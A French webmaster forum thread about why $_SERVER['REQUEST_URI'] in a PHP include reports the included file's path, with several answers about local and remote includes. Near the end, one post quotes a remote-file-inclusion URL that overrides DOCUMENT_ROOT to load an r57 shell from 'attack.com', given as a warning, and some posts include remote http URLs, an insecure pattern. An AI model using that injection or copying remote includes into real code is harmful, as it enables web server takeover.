Fonction Include et Fonction $_SERVER['REQUEST_URI']

WRInaute discret
Bonjour,

J'ai une petite petite question concernant cette fameuse fonction $_SERVER['REQUEST_URI'] :

Ma page est composée d'une fonction php "Include" qui incruste notamment $_SERVER['REQUEST_URI'].

Le problème est que l'adresse récupérée par $_SERVER['REQUEST_URI'] est celle ce la page appellée par Include et non celle de ma page...

Quelqu'un aurait-il une idée ?
 
WRInaute passionné
fais passer l'url de la page en paramètre au moment de l'include. (attention aux failles de sécurité).
 
WRInaute accro
FrAnnuaire a dit:
En fait j'ai 2 pages :

1) www.monsite.com/index.php
Code:
<? include("http://www.monsite.com/include/url.php"); ?>

et

2) www.monsite.com/include/url.php
Code:
<? $current_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];?>
<?= $current_url ; ?>

Le problème est que avec le code de la page 2) j'obtiens cette url : http:// www.monsite.com/include/url.php alors que je voudrais cette adresse :http:// www.monsite.com/index.php

:roll:
perso j'ai ca et ca marche tre sbien :

Code:
	<?
	include($_SERVER["DOCUMENT_ROOT"]."/AA_php/navig-header.htm");
	?>
si ca peut aider ...
 
WRInaute discret
jeroen a dit:
je viens de tester et je n'ai pas ce problème.
fais echo $_SERVER['REQUEST_URI'] au début de /include/url.php et dis moi ce que tu vois...

jeroen peux-tu me mettre le code que tu me demandes te tester stp... je comprends pas clairement ta phrase :)
 
WRInaute passionné
au tout début de ton fichier inclus, tu mets
Code:
<?php echo $_SERVER['REQUEST_URI']; ?>

et tu devrait normalement voir qu'il n'y a pas de problème contrairement à ce que tu dis.
 
WRInaute discret
Petite précision :

Il n'y a pas de problème lorsque je place ce code sur ma page 1) (index.php) :
Code:
<?php echo $_SERVER['REQUEST_URI']; ?>

Par contre, si ce code est placé sur ma page 2) (url.php), j'obtiens /include/url.php

:cry:
 
WRInaute passionné
ok ! (je pense)
remplace
Code:
<? include("http://www.monsite.com/include/url.php"); ?>
par
Code:
<? include("/include/url.php"); ?>
 
WRInaute discret
Bon... eh bien bravo !
c'était presque ça :

ce code ne marche pas, apparement a cause du premier / :
Code:
<? include("/include/url.php"); ?>

par contre :
Code:
<? include("include/url.php"); ?>
fonctionne impecable...

Merci à toi jeroen c'est grâce à toi que mon problème est résolu !
:D :D
 
WRInaute passionné
fais donc passer le request_uri dans un paramètre :
Code:
<? include("http://www.monsite2.com/include/url.php?uri=".$_SERVER['REQUEST_URI']); ?>
 
WRInaute discret
Bien, cela fonctionne, mais pas dans tous les cas :

Mettons qu'il y ait maintenant 4 pages sur 2 noms de domaine :

Sur le domaine http://www.monsite.com, on a :

Une page 1) http://www.monsite.com/infos.php
Code:
<? include("http://www.monsite.com/include/url.php"); ?>

Une page 2) http://www.monsite.com/include/url.php
Code:
<?php echo $_SERVER['REQUEST_URI']; ?>

Sur le domaine http://www.monsite2.com, on a :

Une page 3) http://www.monsite2.com/index.php
Code:
<? include("http://www.monsite2.com/include/infos-url.php"); ?>

Une page 4) http://www.monsite2.com/include/infos-url.php
Code:
<? include("http://www.monsite.com/infos.php"); ?>


:arrow: Quand j'affiche la page 3), j'obtiens /include/infos-url.php
J'ai essayé aussi en faisant passer par une variable dans l'url, mais ça ne marche pas...
 
Nouveau WRInaute
Bonjour,
J'ai un peu le même probleme mais ce post ne l'a pas résolu.

Dans mon index.php (dans la colonne de gauche) j'include une page de pub :

Code:
<div id='col_gauche_pub'><? include ("http://www.mon site.com/pub.php"); ?></div>

dans pub.php je mets :

Code:
<?  echo $_SERVER['REQUEST_URI'];  ?>

Mais ça affiche "/pub.php" alors que je voudrai que ça affiche
"h t t p : / / w w w.mon site.com/index.php" (sans les espaces evidement).
Qu'elle que soit la page ça affiche "/pub.php"
:(
Merci d'avoir lu :)
 
WRInaute passionné
oups

<? include("http://www.monsite2.com/include/url.php?uri=".$_SERVER['REQUEST_URI']); ?>

les paramètres ne sont pas pris en compte par la fonction include

Par contre si je veux appeler une page 2) (url.php) qui se trouve sur un autre domaine, cela ne fonctionne plus !..

il y a beaucoup de serveurs qui sont réglés pour ne pas interpréter d'incude distants

variabiliser une adresse à inclure est extrèmement dangereux

rog
 
WRInaute passionné
Je veux pas dire, mais la méthode de zecat est la plus simple (Je ne dis pas ça parce que je fais la même chose :lol:)

Cela évite pas mal de problèmes.
Et comme je suis très fainéant, maintenant je fais un fichier de configuration dans lequel je prédéfini tous mes répertoires ou bien fichiers d'include que j'utilise le plus :

Code:
define("REP1",$_SERVER["DOCUMENT_ROOT"]."rep1\"),
define("GLOUGLOU",$_SERVER["DOCUMENT_ROOT"]."rep2\Glouglou.php"),

Puis dans mes pages :

Code:
include($_SERVER["DOCUMENT_ROOT"]."/Config/Config.php");
include(REP1."salut.php");
include(GLOUGLOU);

A la longue, c'est réellement plus rapide, et si l'envie me prend de changer de répertoire ou de nom, ça va très vite.
 
Nouveau WRInaute
Merci de vos réponses mais je bloque toujours !

rog a dit:
define("REP1",$_SERVER["DOCUMENT_ROOT"]."rep1"),

Je ne saisis pas concretement ce que je dois includer dans ma page pub.php pour y afficher... un jpg qui porte le nom d'un substring de l'url (ce qui me permet de mettre la pub que je veux sur l'url que je veux... avec mes cheveux :lol:

Je cherche la solution sur le web que je posterai si je trouve... mais pour l'instant : choux blanc :cry:
 
WRInaute passionné
rog a dit:
http://site.com/pub.php?_SERVER['DOCUMENT_ROOT']=http://attack.com/r57.txt?coupe_url=1

est dangereux avec globals a on

8O php permet de faire joujou de cette manière avec les variables $_SERVER?
Je pensais qu'on ne pouvait pas les modifier par script.

Le mode global est encore en vie dans les dernières versions de php?
 
Discussions similaires
Haut